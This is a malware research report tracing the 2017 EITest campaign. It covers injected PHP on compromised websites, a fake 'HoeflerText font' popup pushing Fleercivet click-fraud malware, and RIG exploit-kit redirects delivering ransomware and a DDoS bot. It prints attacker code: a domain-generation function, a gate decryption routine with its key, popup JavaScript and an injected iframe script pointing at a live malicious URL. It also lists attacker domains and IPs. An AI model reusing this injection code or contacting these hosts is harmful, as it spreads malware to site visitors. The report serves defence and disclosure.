Following a Malware distribution campaign that uses ExploitKit

Background

Exploit Kits are a common threat that faces users, they are widely deployed on legitimate websites, and malicious authors are using it to distribute their malware. They can push a broad range of dangerous software. In this research, we look for more details at the EITEST infection chain. The distribution mechanism studied in this report has been known since 2014, but it recently resurfaced using a new creative campaign.

On January 13th, 2017, we first saw a JavaScript pop-up warning the user that

“The HoeflerText font wasn’t found” on Chrome browser, and that we needed to download the missing font.

Since then, we followed the campaign and observed two types of behavior from EITest:

First case: Victim’s browser is Chrome





Second case: Victim’s browser is IE

Infected websites controlled by EITest are carefully choosing their victims before injecting content in the original HTML page, leading to either a drive-by attack or exploitation of the browser. Furthermore, it leverages the fact that infected websites are legitimate.

The payload observed in the first case (user browser is Chrome) is Fleercivet, which is the name Symantec gave to the malware sold as ‘CliCool’ in the darknet markets while we’ve seen multiples differents payload in the second case.

Timeline



January 13th, 2017 – Initial discovery

January 13-14th, 2017 Quest for of help.php and download.php files

January 16th, 2017 – Started the collection of infected websites Discovery of various payload Fleercivet Analysis

January 16th, 2017 – CERT advised

January 17th, 2017 – Article from ProofPoint released

January 18th, 2017 – Fleercivet campaign stops

January 19th, 2017 – Fleercivet campaign restart Starting the validation of the infected websites

January 22th, 2017 – Requested advice from WordPress Security team, no response Gate servers are changed from help.php,download.php to file.php

January 24th, 2017- Campaign is active

January 27th, 2017- Gate server file changed from file.php to downloads.php Payload name changed from chrome_font.exe to font_update.exe payload is no longer Fleercivet

January 30th, 2017 – Publication of the report

February 7th, 2017 – Update about the Domain Generation Algorithm used (from information received)

February 24th, 2017 – Adding IOCs, information about the DGA when resolution fail, documenting new.php which generates binary name Chrome Font v[x].[xx].exe.

Infection of legitimate websites

Multiples CMS infected by EITest campaign were observed. The most commons were:

WordPress (version 2.9.2 to 4.7.2)

Joomla

PrestaShop

Drupal (7.0)

Because of the wide range of targeted CMS versions and plugins of targeted websites, we’re not sure yet how legitimate websites are infected at this stage.

However, since we’ve been made aware of mass brute-force attacks on multiples WordPress sites, we can assume that this attack vector is still working. Also, some of them seem to have been compromised a long time ago based on the modified date on infected PHP files. Furthermore, stealing of credentials of an administrator and exploitation of vulnerable plugins are still in use. In some cases, the WordPress website was hosting an EITest gate, and its installation wasn’t even finished (we were redirected to the WordPress setup by visiting the website).

Outdated version of Joomla! (3.6.4) were also observed and vulnerable, leading us to believe that they may have been breached by exploits CVE-2016-8870 and CVE-2016-8869. The proof of concept is publicly available on exploit-db.

Additionally, some are not necessarily CMS based websites.

We’ve also seen infected websites behind WAF products such as CloudFlare and Incapsula.

On a typical Joomla contaminated site, all .PHP files have malware that does the content injection. On WordPress, we’ve seen servers that only wp_config.php file was affected but in other cases all.PHP files were modified. The malware that infects those PHP files was discovered by Symantec on November 19, 2015, and haven’t changed much since:

Infected websites will show no abnormal behavior by browsing into it if the content injection is not triggered. So, there’s no easy way for an administrator to know if a website is infected. The next section will explain the process followed if the content injection is triggered.

Malicious content injection

Initially, the malicious injected PHP code will enter a complex deobfuscation routine before being able to complete any real task. To get a better understanding of its inner workings, we proceeded with a static analysis of the code in an attempt to reverse the obfuscation flow. After breaking 8 stages of code confusion, we were able to reconstruct the original mischievous code, thus giving us an accurate comprehension of its behavior.

The complete obfuscation-free code is available for further analysis here. The obfuscated version can be found here and here.

After finishing its initial preparation routine, the code will verify if the PHP function ob_start is defined and also if the global variable anuna isn’t already set. The injection process will only begin if both these conditions are respected. If it’s the case, it will then set anuna to ‘True’ and then proceed with an additional check on the victim’s browser user agent string.

Only the following browsers will allow for further actions:

Microsoft Internet Explorer

Google Chrome (Desktop)

Google Chrome (Android)

Mozilla Firefox

Empty User Agent (Not a real browser)

When all those checks are confirmed, the victim is considered. The injection process continues by disabling the PHP error reporting functionalities, probably to avoid server-side infection detection. Multiple functions are then defined, those are going to be used and chained to complete the injection. If you decided to take a look at the full deobfuscated code before finishing reading this report, you probably wonder how this script even execute itself, where is the entry point?

It all relies on the ob_start function, explaining why its existence is the first thing being verified. This function is basically used to enable output buffering, which prevent any output (except headers) from being sent by the script, instead of storing everything in an internal buffer. Usually the buffer content can be retrieved by calling any of the methods to flush it, but in this case, only ob_start is called, nothing else. The trick resides in the fact that ob_start can also be called with the name of a callback function as an argument. This means that the buffer content is automatically returned as an argument of the provided function name when it is about to be flushed. This happens when the request ends. To sum it up, anything outputted after ob_start is called will be sent to another function when the request is finishing.

In this particular case, the callback function is pa22() and since the malicious code is prepended to the original file and executed before anything else, the entire genuine page content (HTML) is sent to it when the request end.

The function starts by setting the Content-Encoding header to none, then proceed to decompress the page content using a custom decoding function named do(). If the content isn’t compressed, it is returned to its original state. By pairing preg_match and preg_replace the script is able to locate where the malicious payload should be injected into the page. The resulting HTML is then outputted to the page because pa22() returns from the output buffer.

Now, how the actual payload is retrieved before being injected? The day212() function is the culprit!

The User Agent, the HTTP referrer, the HTTP host, the victim IP address and the infected PHP file name are all grabbed by using a safe getter function called check212() which basically returns “non” if the requested value isn’t defined.

Then another verification sequence comes next. The script will abort remotely fetching the payload if any of those conditions results to true:

The User Agent string is not defined

The victim IP address is not specified

The HTTP host is not specified

The currently infected file name contains ‘admin’

The User-Agent matches a known crawler (Google, Slurp, MsnBot, IE_Archiver, Yandex, Rambler)

If this last verification process completes without any failure, the payload is ready to be requested. Otherwise, no code is injected into the page, and the victim can browse the website without any harm.

Before the function day212() initiates the HTTP request, asking for content injection, a random operation ID is generated to identify the request when received. It is then concatenated with all the previous saved parameters to craft a unique URL using the k34() function, which takes the result of the custom encrypting method en2() and encode it in base64.

The cqq() function is now called to retrieve a valid destination domain to send the request to. Despite the function having a defined array of four domains, they are not used. If we look closely, the ccq() function return the random() function. The random() function is, in fact, a simple DGA which generates domains names by splitting a hash into four parts of eight characters:

function cqq($qw) { $domarr = array( "33db9538", "9507c4e8", "e5b57288", "54dfa1cb" ); return random($domarr, $qw); } function random($arr, $qw) { $arr = str_split(md5('.com'.gethostbyname('stat-dns.com')), 8); return $arr[rand(0, 1.125)] . $qw; }

The MD5 hash is obtained by adding the TLD ‘.com’ to the result of : gethostbyname(‘stat-dns.com’). At this time, gethostbyname(‘stat-dns.com’) return 8.8.8.8. That being said, the MD5 hash is generated with the following string : “.com8.8.8.8”. The outputting result is : 54dfa1cb33db9538e5b572889507c4e8. Split this string in four, and you’ll have the EITest gate domains to contact.

The last line of the random() function will return randomly the first or the second domain that has been generated in the array. So it seems that contacted domains will be 54dfa1cb.com or 33db9538.com. However, if we suppose that the domain stat-dns.com is controlled by the same actor, they only need to change the A record to something else than 8.8.8.8 and the malicious script will generate new domains to contact.

If there is a failure in the resolution of stat-dns.com, the documentation of the PHP function gethostbyname tells us that the returning value will be the unmodified hostname. In this particular case, the MD5 hash will be calculated with this string: “.comstat-dns.com”. The returning result will be: 32f988f6e108dfcb8b238dd610f89b8c. The result will be that the script will try to contact either 32f988f6.com or e108dfcb.com. However, those domains (as well as 8b238dd6.com and 10f89b8c.com) are already registered. By visiting those websites directly, we can read this message:

Maybe actors behind the EITest script missed the case of resolution failure of gethostbyname , and some security researchers took advantage of it by sinkholing those domains. The sinkholed domains are currently resolving to IPs based out of Japan.

After a successful HTTP GET request, servers behind those domains will either return the payload to inject in the HTML page or reply with content not found:

The reason behind the content not found response isn’t entirely known since we don’t have any access to the code located on their backend. Severals verifications seem to be made on their end to ensure that the delivery of the malicious payload is only sent to the intended web page. We don’t know what those checks are, but it looks like it’s all about confirming the authenticity of the parameters that were encrypted and sent along the URL. It also seems that the gate is only going to infect the same IP address once in a 24 hours period. In the case that the payload distribution server recognizes the request as genuine, it will use the information it received to identify what kind of payload it should return to correctly infect the victim.

We were able to produce a valid infection sequence by using one of our own infected server and a false victim machine running Microsoft Internet Explorer as the browser. By looking at the recorded network traffic we could retrieve the returned malicious content before injection.

Now obviously the returned payload isn’t in plain text, thus hard to understand. However, the malicious PHP injector script that we first analyzed give us the key to decrypt this chunk of data. In fact, the same en2() function that was used to encrypt the parameters when crafting the URL can be used to decrypt the payload received from their server.

It seems like a custom implementation of the HMAC_MD5 algorithm, with q1w2e3r4 as the key. Even if this algorithm relies on an MD5 hash, there is no known way of breaking it in its current state, so the fact that we were able to grab the key helped us a lot.

We created a custom Python script to decipher the response from the payload distribution server in a few steps.

First, grab the raw response bytes as a hex string. You can do this in Wireshark by viewing the TCP stream of the reply and select Raw as the view format. Just copy the data in blue as shown below.

You also need the operation ID from the initial request URL. It’s the number in red:

/430082?P2p%252F6fb8jfxgI8vb9UJzKfQvR%252B5UTQlu4%252BRnN5SL3lwHk…

Run the script using the following command to get the payload in plain text.

After a bit of cleaning and renaming to help comprehension, this is the script that gets injected into the page after all verification.

It will actually inject an iframe that will redirect the user to another malicious server. In this example, the victim browser was Internet Explorer. It would have been a different payload in case of Chrome.

The selection of what is being injected is all based on the information about the victim’s machine that was relayed by the infected server to the payload distribution server. They return an exploit precisely made to abuse their current victim browser and computer, thus showing how serious they are with their infrastructure and distribution mechanism.

As we demonstrated, there’s a need to contact at least one of those domains to make the content injection successful for now:

33db9538.com

54dfa1cb.com

All of these domains are registered with todaynic.com a China-based registrar. This registrar has already been issued a notice of breach of registrar accreditation agreement by ICANN in 2014. It has been known to be a safe haven for illegal Internet pharmacy operators in Russia, Eastern Europe, the Middle East, and elsewhere.

We took the initiative of contacting the legal officer of todaynic.com, and we did not receive any response. Even if several thousand websites are infected and distributing malware on a globally distributed infrastructure, there is no legal way for us or ICANN to force the registrar to take any action on any of those four domains. The only way ICANN could be of assistance will be if there are any Whois inaccuracies in those domains through a whois inaccuracy complaint.

Our recommendation would be that any competent law enforcement agency formally seizes those domains name (at least stat-dns.com), take over the DNS control of them and decodes each request to generate the complete list of infected websites. In the case of seizing stat-dns.com, we could change the record for something else than 8.8.8.8, thus making the EITest script generating new domains to contact. We could then register those new domains generated by the DGA and intercept requests. The list could then be forwarded to each CERT in their respective country who could then contact compromised website owners. Also, just removing DNS entries for these 4 domains would stop the process of content injection done by this malicious code for now, and would prevent malware distribution from infected websites. However, as soon as the record for stat-dns.com will change, the script will try to contact different domains.

ClickFraud

While visiting a website hosting an EITest script, using Google Chrome, and having the proper referrer, a popup displays a message saying: “The HoeflerText font wasn’t found”. Other conditions also need to be met before EITest gates return content injection (for instance, the IP address of the visitor hasn’t been seen in the last 24 hours).

This pop-up caused by content injection is wrapped in DIV HTML tags. Then style is applied and make it overlay the actual page. Images are also applied by the style because they are stored in base64 in it.

The malicious code also replaces characters on the page to make it display incorrectly. It then suggests downloading the “missing” font called HoeflerText.

When the ‘Update’ button is clicked, the following javascript function is triggered:

if (!!window.chrome && !!window.chrome.webstore) { function ue0() { document.getElementById('popup-container').style.display = 'block'; document.getElementById('info1').style.display = 'none'; document.getElementById('tabl1').style.display = 'none'; document.getElementById('helpimg').style.display = 'block'; document.getElementById('info2').style.display = 'block'; document.getElementById('form_1d').submit(); } function dy0() { document.getElementById('dm-overlay').style.display = 'block' } setTimeout(dy0, 1000); }

This script verifies that the user browser is indeed Chrome before being defined. It will show a green arrow pointing at the bottom of the browser to encourage users opening the malware.

Finally, it will submit a form to another compromised server.

The content being sent as a POST request is in fact information about the user that the remote server will decipher with a custom algorithm to verify that the requester is the intended computer.

Those servers are again infected websites, which serve as a proxy to download the payload. The return of the call will then be the payload renamed as ‘Chrome_Font.exe’ or ‘Font_Update.exe’.

The URL where the injected form is posting the information will change about once every hour.

We’ve observed four possible URL patterns were that information is sent:

http://infectedgatewebsite.tld/help.php

http://infectedgatewebsite.tld/download.php

http://infectedgatewebsite.tld/file.php

http://infectedgatewebsite.tld/downloads.php

Those PHP files are serving the payload when the request parameters are correct. Validations that occurs is described in details later on.

When using Google Chrome as a web browser, only avoiding to click on ‘Update’ or to run the payload will be enough to prevent infection. However, it is not necessary the case when running Internet Explorer.



Understanding the payload



Having the IP address of the back-end server who was providing the Fleercivet payload, we were able to fetch it automatically every hour. More than 31 differents hash were collected (see the IOC section). On average, they were changing the hash approximately every 20 hours. However, we can spot changes in this behavior by looking at new hash discovered on a timeline:

The gaps in the timeline show two moments at which they didn’t change the hash for a longer period of time than usual. Likewise, we were not prompted to download the fake ‘Chrome_Font’ anymore during that gap. It seems that they stopped spreading Fleercivet during those periods. The first gap may be a result of the ProofPoint post about the malware.

The reason why they are changing the executable signature so frequently is basically to avoid being detected by antivirus engines. Malware programmers usually achieve this by changing the execution flow with the addition of junk code and by replacing the strings since this is the easiest way to get detected. Much more sophisticated approaches can also be used to better trick the antivirus scans. Since we are dealing with a well-structured organization, it comes as no surprise that this is the kind of method that we faced.

They are using custom packers (also known as crypters) to protect the original Fleercivet malware binary. These are tools used to completely hide a software behavior from an antivirus. It works by taking the target binary, encrypting it and saving the output into an executable stub. This stub will contain the decryption routine to retrieve the malware at runtime and then injecting it into its own process or even another process to avoid runtime detection.

So all the different hashes that we’ve seen for Fleercivet are caused by the fact that they distributed the malware by using a different stub every time. The malware that was packed into each of these stubs was exactly the same. However, to end up with this conclusion, we first had to unpack and extract the malware from the distributed executable file.

After trying different techniques, we’ve concluded that even if all different, these packers were using protection mechanisms to avoid being reverse engineered:

Anti-Debugging

Code injection detection

Dynamic decryption key generation

Junk code and sophisticated methods branching

By chance, those packers weren’t protected against memory dumping. After letting it run in a sandboxed environment for a few seconds, we were able to dump the memory region where the malware had decrypted itself. Fixing the Import Address Table (IAT) and then rebuilding the Portable Executable header (PE) was the next step to get a proper Win32 binary ready to be analyzed. This is when we discovered that all the packed binaries where the same.

As for the Fleercivet binary itself, we discovered that its startup routine contains an anti-sandboxing mechanism to prevent execution in a controlled environment. A dynamic analysis revealed that a verification sequence was initiated to check the value the following registry key and its subkeys.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE

If any subkeys name contained either VBOX or VMWARE, the process would create exit, and the executable file would then be wiped from the machine hard drive.

We managed to feed this registry verification process with false data to bypass the anti-sandbox protection and execute the binary. The main routine isn’t really complicated, it will first inject itself into svchost.exe for protection (If its main process gets killed it can respawn it) and then will proceed with the launch of severals hidden Microsoft Internet Explorer instances by using -private -noframemerging as parameters. Those IE process will query a fake search engine website at http://searchtopresults.com/search.php.

We can see that an ‘aff’ query parameter is passed along the URL. This probably refers to an affiliate ID of the concerned Internet marketing campaign. It is used so the campaign owners can identify who brought them traffic and conversions to paying them accordingly. This is obviously a click fraud system since those clicks aren’t generated by real people. Those affiliate ID that we see are the fraudsters accounts, and they are sending illicit traffic to that marketing campaign and are getting paid for it. The fact that this malware is designed to prevent execution in sandboxes now makes sense because they only want real looking traffic to be sent to their target so they can be paid for it and avoid being flagged for fraud.

In fact, this is a really common practice, and black hats are always looking to refine their methods. In 2016, the Association of National Advertisers (ANA) expected more than $7 Billion US dollars to be lost due to advertising fraud.

Tracking redirected users

Starting from January 13th, we did manage to monitor infected gates URLs by querying an infected website every hour with a spoofed Chrome browser user agent. Since the content injection seems to be triggered only once by IP address, we created a script using Amazon AWS SDK to automatically change the public IP on an Amazon EC2 instance. Using this script, we were able to receive several URLs of gates that were provided to the legitimate websites. Gate servers are changed approximatively once per hour. The URL leading to the server is same for each legitimate infected site.

Having the list of the gates (136 unique domains), we managed to get a copy of the two versions of the PHP file being called when a user is downloading Chrome_Font.exe or Font_Update.exe, and asking for the payload to those servers. Those files were typically put at the root of the website.

We believe that help.php is the older version of download.php because the logging functionality is no more in file.php and download.php.

Once called, the code will:

Verify if the payload is on the current server (in a file named blog.xml.php). If not, it will download it

If the file is older than 15 minutes, it will also download it again

It will log who is calling it on a local file (remote address, HTTP Referer, User-Agent)

If the parameter ‘infol” is not set on the request, it fake a 404 not found error message

If the parameter is set, it will try to decipher it with this following function:

function enco($String) { $Seq = 'pAsswd1'; $Gamma = ''; while (strlen($Gamma) < strlen($String)) { $Seq = pack("H*", md5($Gamma . $Seq . '123456790')); $Gamma .= substr($Seq, 0, 8); } return $String ^ $Gamma; }

Here is an example of a user redirected to download.php performing the POST request:

Using this python script will decrypt the information sent:

Request encoded: 17KFHxStXINTYM………………………………………………….Y%3D

Request decoded: kn8cvc-|x|-x.x.x.x-|x|-www.REDACTED.com

It will then perform severals check on those parameters:

If any of them is missing log the request to the second file and fake the 404 page

If the IP address and the User Agent is not the same as the one who is making the request right now, log the request to the second file and fake the 404 page

If the user agent does not contain the words ‘Windows’ and ‘Chrome,’ log the request to the second file and fake the 404 page

If those checks pass, the local file (blog.xml.php) is read and sent to the victim, and the request is logged with the word ‘GOOD.’

File.php and download.php does the same, but don’t log requests.

File.php only appeared on 2017-01-21 on gates servers and was not seen before. The code is exactly the same as download.php. Since we saw this new file on infected websites being added recently, it seems that most of them are still under their control, because they still have the capabilities of uploading files on them. In fact, since 2017-01-21, all of the new gates discovered used file.php. So we’ve seen content injection that was redirecting users to http://domainA.com/help.php on 2017-01-19 for example, and after 2017-01-21, the injection could redirect users to the same domain, but at the file.php code: http://domainA.com/file.php.

Near 2017-02-05, we’ve also seen other modifications made on the PHP code and their filenames started to be even more random. Observed filenames were: new.php, update.php,go.php,update.php,load.php,info.php and so on. The goal of the change this time was to generate a more random name for the malware binary. Binaries downloaded after this modification will have the following name pattern: Chrome Font v[x].[xx].exe.

How does the random versions number are being generated in the PHP code ? Here is the code that generate those numbers:

$ip = $_SERVER['REMOTE_ADDR']; $p = str_replace("0", "1", substr(ip2long($ip), -3, 3)); header("Content-Disposition: attachment; filename=Chrome Font v" . substr($p, 0, 1) . "." . substr($p, 1, 2) . ".exe");

First , the IP address of the requester is converted to long with the function ip2long. Then, the last 3 digits is keep. If one digit contain 0, it will be replaced with 1. Finally, the first digit will be the version number and the last twos will be the subversion.

download.php, file.php, new.php and help.php achieve the same goals: they are downloading the payload on the gate server and serve it to whom is requesting them with the correct parameter. Still, they have the following differences:

Functionality new.php file.php & download.php help.php Interval to refresh the payload 10 minutes 10 minutes 15 minutes Has a backdoor function that displays the size of the binary file No Yes No Uses 3x.xxx.xxx.xxx9 to get the payload Yes Yes Yes Only deliver the payload to chrome users Yes Yes Yes Is logging request into logo2.png and logo3.png No No Yes Fake a 404 error if parameters are incorrect Yes Yes Yes generates new binary name at each request Yes No No

That being said, gates servers hosting the help.php file were much more valuable for our investigation as they keep the record of the IP address, the user agent and to referrer of who is calling it in a file named logo2.png for the successful request and in logo3.png for all requests.

This fake image is saved in the same directory as the PHP file, making it accessible to us by querying http://gateserver.tld/logo2.png. Then, with the list of gates servers that we’ve previously collected, all of the logo2.png files were downloaded. This allowed us to keep the logs of all victims who called those servers hosting help.php in our database for further analysis. We’ve only stored entries that were marked as ‘GOOD.’

The referrer information allowed to identify potentially infected website who were redirecting users to the gate. By storing those domains, we were able to find, more than 7000 infected different websites.

To make sure that those domains were affected, we used our script again on Amazon AWS SDK to automatically change the public IP and make the content injection trigger. When triggered, we automatically downloaded the index.html file generated. We then marked those domains as ‘Verified’ in our database. We were able to confirm that 5728 out of 7071 websites were indeed infected (81%). For the remaining unconfirmed 19%, it could be that the website got disinfected or our crawler did not meet criteria to trigger the injection. We cannot share this list publicly, but a CERT has been contacted with the full list.

As for the IP address and the user agent in the same logging file, it allowed us to have a better view of whom have been called the server (by clicking ‘Update’ on the fake chrome font popup). To avoid duplication of data and counting the same user twice, we considered a victim unique if we haven’t seen the hash of those three parameters concatenate together before (referer domain name, IP address, user agent). This allowed us to make a list of 25588 unique calls to the 136 EITest gates discovered that used either help.php, download.php, files.php, downloads.php . Using MaxMind GeoIP database, we then added geolocation information to those IP address, which allowed us to visualize the location of some of the potential victims of the malware ‘Fleercivet’:

Out of those 29488 calls, there was 29262 unique IP.

Statistics about the user agent of redirected users were also made:

We cannot provide a graph with the data over time because the time was not logged with each request. Nonetheless, EITest script apparently has a lot of infected websites ready to distribute malware. Among the infected website in our database, we saw websites belonging to the government, university, SME, municipalities, lawyers, Healthcare, car dealership, individuals, and so on.

These statistics just represent a portion of the real state of EITest gate malware distribution infrastructure. Since we only relied on servers who logged calls, it is clear that there’s a lot more infected websites, we suspect there may be several thousand more infected websites around the world.

RIG EK redirection

As seen earlier when describing the malicious content injection process, if we use Microsoft Internet Explorer as our browser to trigger the infection, the EITest gate will typically inject an iframe leading to a RIG EK gate into the page.

This iframe will load a remote page that contains another Javascript script. This one will make sure that the current browser is Internet Explorer and that it is exploitable.

http://try.ciela.co resolves to 92.53.120.14 (MOSCOW) and is running NGINX.

The only purpose of this script is to generate a BrowserInfo object using the victim’s browser data. Then, two simple checks are made before proceeding to the next step. First, it checks if the browser is identified as a crawling bot and then if the actual browser is Internet Explorer. If everything clears out, the iframe code is replaced with a form pointing to the real payload URL. This form is automatically submitted on the next line, in other words, the payload is gathered instantly.

The response returned from the form submission is another big chunk of obfuscated Javascript. Since it seems to be the real payload, we proceeded with both static and dynamic analysis to get a better understanding of its behavior. We managed to get through the various code confusion phases and extract enough information to complete our understanding of the redirection chain

So it seems that this new heavily obfuscated payload is all about abusing the Adobe Flash Player within Internet Explorer. This function requires a flashObjectUrl and a params arguments. The first one being the URL pointing to the SWF file containing the exploit code to abuse the Flash Player and the second one being the shellcode that is going to be executed after gaining code execution privileges within the browser. In our case, the SWF URL was:

http://1gh.saveboston.today/?q=znzQMvXcJwDQDorGMvrESLtEMUzQA0KK2OH_76ayEoH9JHT1vrTUSkrttgWCel&br_fl=5079&oq=_V9_srfLYGbAfl3BOFfFFinYwPAVkS8Kusj0OGnUSa1J6KqRa9ZQtB9qLWU7Jt&yus=Amaya.106zb96.406q3n9f2&ct=Amaya&tuif=2181&biw=Amaya.120el117.406b8x4x8

By spoofing our user agent to IE we were able to download the SWF exploit file for analysis.

After a quick analysis, it seems the ActionScript code seems to implement the CVE-2013-2551 exploit code to be able to gain arbitrary code execution privilege and eventually run the previously extracted shellcode. However, this doesn’t stop here. In fact, this flash file contains another SWF file embedded within itself as a blob of encrypted binary data. So in the case where the first exploit is unable to abuse the Flash Player, the second SWF file will be decrypted and used in the attempt to run the shellcode within the browser’s memory. This second flash file implements CVE-2015-5122.

Now that we know how Internet Explorer and Flash Player are abused to run arbitrary code let’s take a precise look at the shellcode they are trying to run. The shellcode hexadecimal representation was successfully extracted from the obfuscated Javascript script.

To get a better understanding of its purpose, it would be a good idea to actually run it in a debugger. However, this code only represents a set of x86 ASM instructions, there isn’t any PE header to make it a valid Win32 executable (It wasn’t designed to run as a standalone but within IE memory). By using a web-based tool, we were able to generate a valid Win32 exe file and throw it at Immunity Debugger in our sandbox environment.

If you are familiar with x86 ASM and common patterns you can see that this is a simple loop used to decrypt a memory blob using XOR and 84 as a key. By putting a breakpoint at 0x401012, we will pause the execution right after the decryption loop exited. This gives us the payload in plain text. By combining this new information with what we previously gathered we now have a clear picture of the last step in this infection chain.

The payload seems to spawn a hidden cmd.exe process to create a VBScript file named QTTYUADAF in the Temp folder and then proceed to execute it in silent mode. Arguments are also passed to this script from the previously obfuscated Javascript file. There are precisely 3 arguments, in our case, this is what we got:

gexywoaxor (The key used to decrypt the malware binary)

(The key used to decrypt the malware binary) The malware binary URL

http://1gh.saveboston.today/?tuif=5065&biw=SeaMonkey.78ug102.406b4v4x7&yus=SeaMonkey.100om104.406w6t1f8&ct=SeaMonkey&oq=CelnT_fV8JLYGbAew20CHLwxindwOUVsU9aunjxKBmxDIiZ_W_SWEYDoYv5E&q=z3zQMvXcJwDQDoTFMvrESLtEMU_OHUKK2OH_783VCZj9JHT1vvHPRAP6tgW&br_fl=4448

Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0) (The browser user agent)

What is doing this freshly created VBScript with those arguments?

As you can see, its behavior is hard to determine since again the code is obfuscated. After a quick analysis and manual deobfuscation process, we were able to get a much better idea of its inner workings.

The script will first establish an HTTP web request to the second argument (Malware binary URL) while using the third argument (IE User Agent string) as the user agent. Then if the HTTP result code is 200 (SUCCESS), it will use the first argument (The decryption key) to process the HTTP response content and obtain a valid binary. A final check is made to verify if it’s a DLL or EXE file, because if it’s a library, it requires to be registered with regsvr32.exe to run correctly. Finally, the malware binary is executed, and the victim gets infected.

This is indeed a really complicated chained infection method, but now that we described every single step in details, hopefully, it will help people to better protect themselves.

Ransomware

Another payload pushed by Rig EK is Cerber. After the same chain of an exploit, this well-known ransomware is downloaded and executed in the %TEMP% directory:

tmpBEEC.bmp is, in fact, the ransom note that Cerber is about to put as the wallpaper on the infected computer.

Cerber check-in traffic can be observed via UDP port 6892 to:

91.239.24.0/23

17.55.12.0/27

39.16.22.0/27

We did not complete the full infection routine done by Cerber because it has virtual machine detection, and we didn’t think it would be useful to investigate it further since it is already well documented and his behavior is already known.

CryptoMix ransomware is also distributed using those same techniques:

Emails provided for the support were [email protected] and [email protected]

Also, since 2017-01-27, it seems that the back-end server who’s distributing malware have to change the fleercivet payload to the MRCR ransomware. We didn’t have time to investigate on it. However, the packer used is robust and include a memory anti-dump. The C2 communication URL is also new if we look at the previous analysis that has been done on it. Spora ransomware have also been observed.

DDOS botnet

One of the payloads that we’ve also seen being the push in this campaign was the Madness DDOS botnet. This malicious software is sold on dark markets and claims to have these following capabilities:

- Written in C ++, easy crypto, is lightweight (compressed sample <15KB) - Full compatibility with all Windows NT family (x86 and x64) - Boat has 7 types of attacks - Stability in the system. Load capacity on the CPU and RAM is very uniform. - Do not attract attention to UAC and Windows Firewall - Is able to establish port, referal and cookies individually for each goal - It supports up to 10 targets simultaneously - It has a very low CPU load thanks to a new, complex system of command parsing (all analogs parsing passes inside functions in multiple threads - a CPU-intensive extra work new bot puts all the data into the array before the attack and function come ready-made options. address, port, referral, etc.) - It has a tremendous output power of more than 1500 http (and more than 30,000 UDP) queries per minute due to the direct interaction with the network drivers, even on desktop Windows! (Only when using WinSock) This is approximately 10-fold more than some few analogs and more top (on this parameter) competitors. - The control panel displays: the number of requests per second, the rights in the system version of the system. - Supports bypassing the security CloudFlare (!!!), and many other, more simple. - Supports Slow GET and Slow POST modes! - In the packet header indicates the cache off (Cache-Control: no-cache), which increases the load on the server. - Protection of dialogue bot panel spetsklyuchem

The infection chain followed the same RIG EK pattern and went like this:

A user visit a website infected by EITest PHP code (in our test the user agent was MSIE 8.0)

A malicious script is injected at the bottom of the web page:

<script type="text/javascript"> var lsbnfd = document.createElement("iframe"); var chmkmjr = ""; lsbnfd.style.width = "11px"; lsbnfd.style.height = "19px"; lsbnfd.style.border = "0px"; lsbnfd.frameBorder = "0"; lsbnfd.setAttribute("frameBorder", "0"); document.body.appendChild(lsbnfd); chmkmjr = "http://try.UCR.NEWS/?yus=Amaya.92qd86.406w7y8z0&q=w3bQMvXcJx_QFYbGMvLDSKNbNk_WHViPxoyG9MildZiqZGX_k7fDfF-qoV3cCgWR&br_fl=2060&oq=xfF7JOdXaAPhjECDLQFiz99fWl8W9f_8iUCGykOYhJfT-RCLMApM_6KlJLB_mhj2&biw=Amaya.108on110.406o6u2f1&tuif=3570&ct=Amaya"; lsbnfd.src = chmkmjr; </script>

The browser of the victim make a GET request to the injected link

A javascript file is returned: It first validates the browser version. If it pass, it create an IFrame to redirect the user again to http://try.ucr.news/?yus=Microsoft_Edge.113iw103.406s1a2b2&ct=Microsoft_Edge&biw=Microsoft_Edge.83of66.406v7f3c8&oq=gWRxfF7JOdXaAfhjECDLQViz99fWl4W9f_8iUOGykOYhJXT-RCLMApM_6KlJA&tuif=4436&q=w37QMvXcJx3QFYbGMvvDSKNbNkvWHViPxoyG9MildZyqZGX_k7bDfF-qoVXcC&br_fl=4

The returning content is a heavy obfuscated javascript which triggers an exploitation into the browser before the payload is downloaded



Three .DLL files are downloaded to make the bot gain all of its functionality:

The infected computer check-ins at 195.161.62.33 (Moscow, Russia) with a POST request to /b1/data.php and /b1/index.php and is now a part of the botnet:

Even if the server has NGINX installed to it listening on port 8080, the apache server was still configured to listen on port 80. We were then able to see the requests made to the server by looking at the server-status page:

This showed us that many bots were also checking-in. By monitoring this page, we were also able to spot more unusual requests, like an administrator logging in the admin panel from a TOR exit node:

Also, we were able to make the statistic about bots who were checking in:

Peaks in this graph show that most bots are online by day and offline by night because most personal computers are shut down. Also, we see that it slowly grows over time as the campaign goes on.

Here, we can see the top operating system infected:

Most bots are Windows 7×64 followed by Windows 7×32.

The botnet control panel is accessible on this same server by browsing to /b1/adm/auth.php:

Once logged in the control panel, we can see that 1580 bots were accumulated so far. We’ve also seen that they were botnets reporting to this server since 2017-01-13:

This control panel allows the operator to see multiples information about his bots:

IP address, registration date, ID, version of the bot, operating system, privileges on the system, last time it was synced, the number of time synced and request per minutes.

That being said, those actors who intended to use the internet pipe of their victims to perform DDOS attacks did not even take the time to properly secure their back-end server.

Protection

As a website administrator, you should use a password manager for your account. You should also check for suspicious recently modified files. If you’re using WordPress, you can install the plugin WordFence, which can help protect against brute-force attacks. The plugin also acts as a Web Application Firewall. Be sure to update your plugins and your CMS to the last version. If your website is infected and you have no certitude on how hackers got access, changing all of the passwords and make a fresh install of the CMS may be necessary.

As for the users, it can be tough to tell if you are visiting a website that has been compromised. As always, there are no silver bullets for protection, trade-off needs to be made between accessibility and security. You can use browser’s plugin like NoScript to prevent malicious javascript to run, but user experience can be affected. Remember to always have up-to-date software and be careful what are you clicking on. Antivirus can also block some of these threats. Blocking the execution of executable from the TEMP directory in Windows can also break the infection chain.

Conclusion

We only looked at what EITest gates and RigEK for a couple of days and yet, five differents payload have been seen. Malicious actors who control those campaign are known to push a broad range of malware, and our analysis was just an overview of possibles threats that users can face when visiting those infected websites.

The evolving complexity of this kind of threat makes it difficult to track. Plus, new exploits are found and deployed by the cyber criminal when one is patched. This makes the average user vulnerable if protections are not in place in their environment.

EITest gates domains are publicly known since 2013, and none of them seems to be sinkholed yet. Greater efforts need to be made to put down their infrastructure.

Many thanks to our contributors, who knows who they are!

Feel free to contact me for any questions, suggestions or comment at malware @ brillantit.com

IOCs

Download.php, file.php

